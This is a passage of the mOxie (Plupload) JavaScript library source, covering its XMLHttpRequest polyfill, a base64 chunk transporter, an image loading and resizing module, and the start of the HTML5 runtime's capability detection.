flag, request username, and request password. Throws a "SyntaxError" exception if one of the following is true: method is not a valid HTTP method. url cannot be resolved. url contains the "user:password" format in the userinfo production. Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK. Throws an "InvalidAccessError" exception if one of the following is true: Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin. There is an associated XMLHttpRequest document and either the timeout attribute is not zero, the withCredentials attribute is true, or the responseType attribute is not the empty string. @method open @param {String} method HTTP method to use on request @param {String} url URL to request @param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default. @param {String} [user] Username to use in HTTP authentication process on server-side @param {String} [password] Password to use in HTTP authentication process on server-side */ open: function(method, url, async, user, password) { var urlp; // first two arguments are required if (!method || !url) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 3 if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) { _method = method.toUpperCase(); } // 4 - allowing these methods poses a security risk if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) { throw new x.DOMException(x.DOMException.SECURITY_ERR); } // 5 url = Encode.utf8_encode(url); // 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError". urlp = Url.parseUrl(url); _same_origin_flag = Url.hasSameOrigin(urlp); // 7 - manually build up absolute url _url = Url.resolveUrl(url); // 9-10, 12-13 if ((user || password) && !_same_origin_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } _user = user || urlp.user; _password = password || urlp.pass; // 11 _async = async || true; if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 14 - terminate abort() // 15 - terminate send() // 18 _sync_flag = !_async; _send_flag = false; _headers = {}; _reset.call(this); // 19 _p('readyState', XMLHttpRequest.OPENED); // 20 this.dispatchEvent('readystatechange'); }, /** Appends an header to the list of author request headers, or if header is already in the list of author request headers, combines its value with value. Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set. Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value is not a valid HTTP header field value. @method setRequestHeader @param {String} header @param {String|Number} value */ setRequestHeader: function(header, value) { var uaHeaders = [ // these headers are controlled by the user agent "accept-charset", "accept-encoding", "access-control-request-headers", "access-control-request-method", "connection", "content-length", "cookie", "cookie2", "content-transfer-encoding", "date", "expect", "host", "keep-alive", "origin", "referer", "te", "trailer", "transfer-encoding", "upgrade", "user-agent", "via" ]; // 1-2 if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3 if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 4 /* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); }*/ header = Basic.trim(header).toLowerCase(); // setting of proxy-* and sec-* headers is prohibited by spec if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) { return false; } // camelize // browsers lowercase header names (at least for custom ones) // header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); }); if (!_headers[header]) { _headers[header] = value; } else { // http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph) _headers[header] += ', ' + value; } return true; }, /** Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2. @method getAllResponseHeaders @return {String} reponse headers or empty string */ getAllResponseHeaders: function() { return _responseHeaders || ''; }, /** Returns the header field value from the response of which the field name matches header, unless the field name is Set-Cookie or Set-Cookie2. @method getResponseHeader @param {String} header @return {String} value(s) for the specified header or null */ getResponseHeader: function(header) { header = header.toLowerCase(); if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) { return null; } if (_responseHeaders && _responseHeaders !== '') { // if we didn't parse response headers until now, do it and keep for later if (!_responseHeadersBag) { _responseHeadersBag = {}; Basic.each(_responseHeaders.split(/\r\n/), function(line) { var pair = line.split(/:\s+/); if (pair.length === 2) { // last line might be empty, omit pair[0] = Basic.trim(pair[0]); // just in case _responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form header: pair[0], value: Basic.trim(pair[1]) }; } }); } if (_responseHeadersBag.hasOwnProperty(header)) { return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value; } } return null; }, /** Sets the Content-Type header for the response to mime. Throws an "InvalidStateError" exception if the state is LOADING or DONE. Throws a "SyntaxError" exception if mime is not a valid media type. @method overrideMimeType @param String mime Mime type to set */ overrideMimeType: function(mime) { var matches, charset; // 1 if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2 mime = Basic.trim(mime.toLowerCase()); if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) { mime = matches[1]; if (matches[2]) { charset = matches[2]; } } if (!Mime.mimes[mime]) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 3-4 _finalMime = mime; _finalCharset = charset; }, /** Initiates the request. The optional argument provides the request entity body. The argument is ignored if request method is GET or HEAD. Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set. @method send @param {Blob|Document|String|FormData} [data] Request entity body @param {Object} [options] Set of requirements and pre-requisities for runtime initialization */ send: function(data, options) { if (Basic.typeOf(options) === 'string') { _options = { ruid: options }; } else if (!options) { _options = {}; } else { _options = options; } // 1-2 if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3 // sending Blob if (data instanceof Blob) { _options.ruid = data.ruid; _mimeType = data.type || 'application/octet-stream'; } // FormData else if (data instanceof FormData) { if (data.hasBlob()) { var blob = data.getBlob(); _options.ruid = blob.ruid; _mimeType = blob.type || 'application/octet-stream'; } } // DOMString else if (typeof data === 'string') { _encoding = 'UTF-8'; _mimeType = 'text/plain;charset=UTF-8'; // data should be converted to Unicode and encoded as UTF-8 data = Encode.utf8_encode(data); } // if withCredentials not set, but requested, set it automatically if (!this.withCredentials) { this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag; } // 4 - storage mutex // 5 _upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP // 6 _error_flag = false; // 7 _upload_complete_flag = !data; // 8 - Asynchronous steps if (!_sync_flag) { // 8.1 _send_flag = true; // 8.2 // this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr // 8.3 //if (!_upload_complete_flag) { // this.upload.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr //} } // 8.5 - Return the send() method call, but continue running the steps in this algorithm. _doXHR.call(this, data); }, /** Cancels any network activity. @method abort */ abort: function() { _error_flag = true; _sync_flag = false; if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) { _p('readyState', XMLHttpRequest.DONE); _send_flag = false; if (_xhr) { _xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag); } else { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } _upload_complete_flag = true; } else { _p('readyState', XMLHttpRequest.UNSENT); } }, destroy: function() { if (_xhr) { if (Basic.typeOf(_xhr.destroy) === 'function') { _xhr.destroy(); } _xhr = null; } this.unbindAll(); if (this.upload) { this.upload.unbindAll(); this.upload = null; } } }); this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons this.upload.handleEventProps(dispatches); /* this is nice, but maybe too lengthy // if supported by JS version, set getters/setters for specific properties o.defineProperty(this, 'readyState', { configurable: false, get: function() { return _p('readyState'); } }); o.defineProperty(this, 'timeout', { configurable: false, get: function() { return _p('timeout'); }, set: function(value) { if (_sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // timeout still should be measured relative to the start time of request _timeoutset_time = (new Date).getTime(); _p('timeout', value); } }); // the withCredentials attribute has no effect when fetching same-origin resources o.defineProperty(this, 'withCredentials', { configurable: false, get: function() { return _p('withCredentials'); }, set: function(value) { // 1-2 if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3-4 if (_anonymous_flag || _sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 5 _p('withCredentials', value); } }); o.defineProperty(this, 'status', { configurable: false, get: function() { return _p('status'); } }); o.defineProperty(this, 'statusText', { configurable: false, get: function() { return _p('statusText'); } }); o.defineProperty(this, 'responseType', { configurable: false, get: function() { return _p('responseType'); }, set: function(value) { // 1 if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2 if (_sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 3 _p('responseType', value.toLowerCase()); } }); o.defineProperty(this, 'responseText', { configurable: false, get: function() { // 1 if (!~o.inArray(_p('responseType'), ['', 'text'])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2-3 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return _p('responseText'); } }); o.defineProperty(this, 'responseXML', { configurable: false, get: function() { // 1 if (!~o.inArray(_p('responseType'), ['', 'document'])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2-3 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return _p('responseXML'); } }); o.defineProperty(this, 'response', { configurable: false, get: function() { if (!!~o.inArray(_p('responseType'), ['', 'text'])) { if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) { return ''; } } if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) { return null; } return _p('response'); } }); */ function _p(prop, value) { if (!props.hasOwnProperty(prop)) { return; } if (arguments.length === 1) { // get return Env.can('define_property') ? props[prop] : self[prop]; } else { // set if (Env.can('define_property')) { props[prop] = value; } else { self[prop] = value; } } } /* function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) { // TODO: http://tools.ietf.org/html/rfc3490#section-4.1 return str.toLowerCase(); } */ function _doXHR(data) { var self = this; _start_time = new Date().getTime(); _xhr = new RuntimeTarget(); function loadEnd() { if (_xhr) { // it could have been destroyed by now _xhr.destroy(); _xhr = null; } self.dispatchEvent('loadend'); self = null; } function exec(runtime) { _xhr.bind('LoadStart', function(e) { _p('readyState', XMLHttpRequest.LOADING); self.dispatchEvent('readystatechange'); self.dispatchEvent(e); if (_upload_events_flag) { self.upload.dispatchEvent(e); } }); _xhr.bind('Progress', function(e) { if (_p('readyState') !== XMLHttpRequest.LOADING) { _p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example) self.dispatchEvent('readystatechange'); } self.dispatchEvent(e); }); _xhr.bind('UploadProgress', function(e) { if (_upload_events_flag) { self.upload.dispatchEvent({ type: 'progress', lengthComputable: false, total: e.total, loaded: e.loaded }); } }); _xhr.bind('Load', function(e) { _p('readyState', XMLHttpRequest.DONE); _p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0)); _p('statusText', httpCode[_p('status')] || ""); _p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType'))); if (!!~Basic.inArray(_p('responseType'), ['text', ''])) { _p('responseText', _p('response')); } else if (_p('responseType') === 'document') { _p('responseXML', _p('response')); } _responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders'); self.dispatchEvent('readystatechange'); if (_p('status') > 0) { // status 0 usually means that server is unreachable if (_upload_events_flag) { self.upload.dispatchEvent(e); } self.dispatchEvent(e); } else { _error_flag = true; self.dispatchEvent('error'); } loadEnd(); }); _xhr.bind('Abort', function(e) { self.dispatchEvent(e); loadEnd(); }); _xhr.bind('Error', function(e) { _error_flag = true; _p('readyState', XMLHttpRequest.DONE); self.dispatchEvent('readystatechange'); _upload_complete_flag = true; self.dispatchEvent(e); loadEnd(); }); runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', { url: _url, method: _method, async: _async, user: _user, password: _password, headers: _headers, mimeType: _mimeType, encoding: _encoding, responseType: self.responseType, withCredentials: self.withCredentials, options: _options }, data); } // clarify our requirements if (typeof(_options.required_caps) === 'string') { _options.required_caps = Runtime.parseCaps(_options.required_caps); } _options.required_caps = Basic.extend({}, _options.required_caps, { return_response_type: self.responseType }); if (data instanceof FormData) { _options.required_caps.send_multipart = true; } if (!Basic.isEmptyObj(_headers)) { _options.required_caps.send_custom_headers = true; } if (!_same_origin_flag) { _options.required_caps.do_cors = true; } if (_options.ruid) { // we do not need to wait if we can connect directly exec(_xhr.connectRuntime(_options)); } else { _xhr.bind('RuntimeInit', function(e, runtime) { exec(runtime); }); _xhr.bind('RuntimeError', function(e, err) { self.dispatchEvent('RuntimeError', err); }); _xhr.connectRuntime(_options); } } function _reset() { _p('responseText', ""); _p('responseXML', null); _p('response', null); _p('status', 0); _p('statusText', ""); _start_time = _timeoutset_time = null; } } XMLHttpRequest.UNSENT = 0; XMLHttpRequest.OPENED = 1; XMLHttpRequest.HEADERS_RECEIVED = 2; XMLHttpRequest.LOADING = 3; XMLHttpRequest.DONE = 4; XMLHttpRequest.prototype = EventTarget.instance; return XMLHttpRequest; }); // Included from: src/javascript/runtime/Transporter.js /** * Transporter.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/runtime/Transporter", [ "moxie/core/utils/Basic", "moxie/core/utils/Encode", "moxie/runtime/RuntimeClient", "moxie/core/EventTarget" ], function(Basic, Encode, RuntimeClient, EventTarget) { function Transporter() { var mod, _runtime, _data, _size, _pos, _chunk_size; RuntimeClient.call(this); Basic.extend(this, { uid: Basic.guid('uid_'), state: Transporter.IDLE, result: null, transport: function(data, type, options) { var self = this; options = Basic.extend({ chunk_size: 204798 }, options); // should divide by three, base64 requires this if ((mod = options.chunk_size % 3)) { options.chunk_size += 3 - mod; } _chunk_size = options.chunk_size; _reset.call(this); _data = data; _size = data.length; if (Basic.typeOf(options) === 'string' || options.ruid) { _run.call(self, type, this.connectRuntime(options)); } else { // we require this to run only once var cb = function(e, runtime) { self.unbind("RuntimeInit", cb); _run.call(self, type, runtime); }; this.bind("RuntimeInit", cb); this.connectRuntime(options); } }, abort: function() { var self = this; self.state = Transporter.IDLE; if (_runtime) { _runtime.exec.call(self, 'Transporter', 'clear'); self.trigger("TransportingAborted"); } _reset.call(self); }, destroy: function() { this.unbindAll(); _runtime = null; this.disconnectRuntime(); _reset.call(this); } }); function _reset() { _size = _pos = 0; _data = this.result = null; } function _run(type, runtime) { var self = this; _runtime = runtime; //self.unbind("RuntimeInit"); self.bind("TransportingProgress", function(e) { _pos = e.loaded; if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) { _transport.call(self); } }, 999); self.bind("TransportingComplete", function() { _pos = _size; self.state = Transporter.DONE; _data = null; // clean a bit self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || ''); }, 999); self.state = Transporter.BUSY; self.trigger("TransportingStarted"); _transport.call(self); } function _transport() { var self = this, chunk, bytesLeft = _size - _pos; if (_chunk_size > bytesLeft) { _chunk_size = bytesLeft; } chunk = Encode.btoa(_data.substr(_pos, _chunk_size)); _runtime.exec.call(self, 'Transporter', 'receive', chunk, _size); } } Transporter.IDLE = 0; Transporter.BUSY = 1; Transporter.DONE = 2; Transporter.prototype = EventTarget.instance; return Transporter; }); // Included from: src/javascript/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/image/Image", [ "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/Exceptions", "moxie/file/FileReaderSync", "moxie/xhr/XMLHttpRequest", "moxie/runtime/Runtime", "moxie/runtime/RuntimeClient", "moxie/runtime/Transporter", "moxie/core/utils/Env", "moxie/core/EventTarget", "moxie/file/Blob", "moxie/file/File", "moxie/core/utils/Encode" ], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) { /** Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data. @class Image @constructor @extends EventTarget */ var dispatches = [ 'progress', /** Dispatched when loading is complete. @event load @param {Object} event */ 'load', 'error', /** Dispatched when resize operation is complete. @event resize @param {Object} event */ 'resize', /** Dispatched when visual representation of the image is successfully embedded into the corresponsing container. @event embedded @param {Object} event */ 'embedded' ]; function Image() { RuntimeClient.call(this); Basic.extend(this, { /** Unique id of the component @property uid @type {String} */ uid: Basic.guid('uid_'), /** Unique id of the connected runtime, if any. @property ruid @type {String} */ ruid: null, /** Name of the file, that was used to create an image, if available. If not equals to empty string. @property name @type {String} @default "" */ name: "", /** Size of the image in bytes. Actual value is set only after image is preloaded. @property size @type {Number} @default 0 */ size: 0, /** Width of the image. Actual value is set only after image is preloaded. @property width @type {Number} @default 0 */ width: 0, /** Height of the image. Actual value is set only after image is preloaded. @property height @type {Number} @default 0 */ height: 0, /** Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded. @property type @type {String} @default "" */ type: "", /** Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded. @property meta @type {Object} @default {} */ meta: {}, /** Alias for load method, that takes another mOxie.Image object as a source (see load). @method clone @param {Image} src Source for the image @param {Boolean} [exact=false] Whether to activate in-depth clone mode */ clone: function() { this.load.apply(this, arguments); }, /** Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File, native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL, Image will be downloaded from remote destination and loaded in memory. @example var img = new mOxie.Image(); img.onload = function() { var blob = img.getAsBlob(); var formData = new mOxie.FormData(); formData.append('file', blob); var xhr = new mOxie.XMLHttpRequest(); xhr.onload = function() { // upload complete }; xhr.open('post', 'upload.php'); xhr.send(formData); }; img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg) @method load @param {Image|Blob|File|String} src Source for the image @param {Boolean|Object} [mixed] */ load: function() { _load.apply(this, arguments); }, /** Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions. @method downsize @param {Object} opts @param {Number} opts.width Resulting width @param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width) @param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions @param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize) @param {String} [opts.resample=false] Resampling algorithm to use for resizing */ downsize: function(opts) { var defaults = { width: this.width, height: this.height, type: this.type || 'image/jpeg', quality: 90, crop: false, preserveHeaders: true, resample: false }; if (typeof(opts) === 'object') { opts = Basic.extend(defaults, opts); } else { // for backward compatibility opts = Basic.extend(defaults, { width: arguments[0], height: arguments[1], crop: arguments[2], preserveHeaders: arguments[3] }); } try { if (!this.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // no way to reliably intercept the crash due to high resolution, so we simply avoid it if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) { throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR); } this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders); } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } }, /** Alias for downsize(width, height, true). (see downsize) @method crop @param {Number} width Resulting width @param {Number} [height=width] Resulting height (optional, if not supplied will default to width) @param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize) */ crop: function(width, height, preserveHeaders) { this.downsize(width, height, true, preserveHeaders); }, getAsCanvas: function() { if (!Env.can('create_canvas')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } var runtime = this.connectRuntime(this.ruid); return runtime.exec.call(this, 'Image', 'getAsCanvas'); }, /** Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsBlob @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {Blob} Image as Blob */ getAsBlob: function(type, quality) { if (!this.size) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90); }, /** Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsDataURL @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {String} Image as dataURL string */ getAsDataURL: function(type, quality) { if (!this.size) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90); }, /** Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsBinaryString @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {String} Image as binary string */ getAsBinaryString: function(type, quality) { var dataUrl = this.getAsDataURL(type, quality); return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)); }, /** Embeds a visual representation of the image into the specified node. Depending on the runtime, it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare, can be used in legacy browsers that do not have canvas or proper dataURI support). @method embed @param {DOMElement} el DOM element to insert the image object into @param {Object} [opts] @param {Number} [opts.width] The width of an embed (defaults to the image width) @param {Number} [opts.height] The height of an embed (defaults to the image height) @param {String} [type="image/jpeg"] Mime type @param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg @param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions */ embed: function(el, opts) { var self = this , runtime // this has to be outside of all the closures to contain proper runtime ; opts = Basic.extend({ width: this.width, height: this.height, type: this.type || 'image/jpeg', quality: 90 }, opts || {}); function render(type, quality) { var img = this; // if possible, embed a canvas element directly if (Env.can('create_canvas')) { var canvas = img.getAsCanvas(); if (canvas) { el.appendChild(canvas); canvas = null; img.destroy(); self.trigger('embedded'); return; } } var dataUrl = img.getAsDataURL(type, quality); if (!dataUrl) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } if (Env.can('use_data_uri_of', dataUrl.length)) { el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />'; img.destroy(); self.trigger('embedded'); } else { var tr = new Transporter(); tr.bind("TransportingComplete", function() { runtime = self.connectRuntime(this.result.ruid); self.bind("Embedded", function() { // position and size properly Basic.extend(runtime.getShimContainer().style, { //position: 'relative', top: '0px', left: '0px', width: img.width + 'px', height: img.height + 'px' }); // some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's // position type changes (in Gecko), but since we basically need this only in IEs 6/7 and // sometimes 8 and they do not have this problem, we can comment this for now /*tr.bind("RuntimeInit", function(e, runtime) { tr.destroy(); runtime.destroy(); onResize.call(self); // re-feed our image data });*/ runtime = null; // release }, 999); runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height); img.destroy(); }); tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, { required_caps: { display_media: true }, runtime_order: 'flash,silverlight', container: el }); } } try { if (!(el = Dom.get(el))) { throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR); } if (!this.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // high-resolution images cannot be consistently handled across the runtimes if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) { //throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR); } var imgCopy = new Image(); imgCopy.bind("Resize", function() { render.call(this, opts.type, opts.quality); }); imgCopy.bind("Load", function() { imgCopy.downsize(opts); }); // if embedded thumb data is available and dimensions are big enough, use it if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) { imgCopy.load(this.meta.thumb.data); } else { imgCopy.clone(this, false); } return imgCopy; } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } }, /** Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object. @method destroy */ destroy: function() { if (this.ruid) { this.getRuntime().exec.call(this, 'Image', 'destroy'); this.disconnectRuntime(); } this.unbindAll(); } }); // this is here, because in order to bind properly, we need uid, which is created above this.handleEventProps(dispatches); this.bind('Load Resize', function() { _updateInfo.call(this); }, 999); function _updateInfo(info) { if (!info) { info = this.exec('Image', 'getInfo'); } this.size = info.size; this.width = info.width; this.height = info.height; this.type = info.type; this.meta = info.meta; // update file name, only if empty if (this.name === '') { this.name = info.name; } } function _load(src) { var srcType = Basic.typeOf(src); try { // if source is Image if (src instanceof Image) { if (!src.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } _loadFromImage.apply(this, arguments); } // if source is o.Blob/o.File else if (src instanceof Blob) { if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } _loadFromBlob.apply(this, arguments); } // if native blob/file else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) { _load.call(this, new File(null, src), arguments[1]); } // if String else if (srcType === 'string') { // if dataUrl String if (src.substr(0, 5) === 'data:') { _load.call(this, new Blob(null, { data: src }), arguments[1]); } // else assume Url, either relative or absolute else { _loadFromUrl.apply(this, arguments); } } // if source seems to be an img node else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') { _load.call(this, src.src, arguments[1]); } else { throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR); } } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } } function _loadFromImage(img, exact) { var runtime = this.connectRuntime(img.ruid); this.ruid = runtime.uid; runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact)); } function _loadFromBlob(blob, options) { var self = this; self.name = blob.name || ''; function exec(runtime) { self.ruid = runtime.uid; runtime.exec.call(self, 'Image', 'loadFromBlob', blob); } if (blob.isDetached()) { this.bind('RuntimeInit', function(e, runtime) { exec(runtime); }); // convert to object representation if (options && typeof(options.required_caps) === 'string') { options.required_caps = Runtime.parseCaps(options.required_caps); } this.connectRuntime(Basic.extend({ required_caps: { access_image_binary: true, resize_image: true } }, options)); } else { exec(this.connectRuntime(blob.ruid)); } } function _loadFromUrl(url, options) { var self = this, xhr; xhr = new XMLHttpRequest(); xhr.open('get', url); xhr.responseType = 'blob'; xhr.onprogress = function(e) { self.trigger(e); }; xhr.onload = function() { _loadFromBlob.call(self, xhr.response, true); }; xhr.onerror = function(e) { self.trigger(e); }; xhr.onloadend = function() { xhr.destroy(); }; xhr.bind('RuntimeError', function(e, err) { self.trigger('RuntimeError', err); }); xhr.send(null, options); } } // virtual world will crash on you if image has a resolution higher than this: Image.MAX_RESIZE_WIDTH = 8192; Image.MAX_RESIZE_HEIGHT = 8192; Image.prototype = EventTarget.instance; return Image; }); // Included from: src/javascript/runtime/html5/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global File:true */ /** Defines constructor for HTML5 runtime. @class moxie/runtime/html5/Runtime @private */ define("moxie/runtime/html5/Runtime", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/Runtime", "moxie/core/utils/Env" ], function(Basic, x, Runtime, Env) { var type = "html5", extensions = {}; function Html5Runtime(options) { var I = this , Test = Runtime.capTest , True = Runtime.capTrue ; var caps = Basic.extend({ access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL), access_image_binary: function() { return I.can('access_binary') && !!extensions.Image; }, display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')), do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()), drag_and_drop: Test(function() { // this comes directly from Modernizr: http://www.modernizr.com/ var div = document.createElement('div'); // IE has support for drag and drop since version 5, but doesn't support dropping files from desktop return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) && (Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>')); }()), filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>=')); }()), return_response_headers: True, return_response_type: function(responseType) { if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported return true; } return Env.can('return_response_type', responseType); }, return_status_code: True, report_upload_progress: 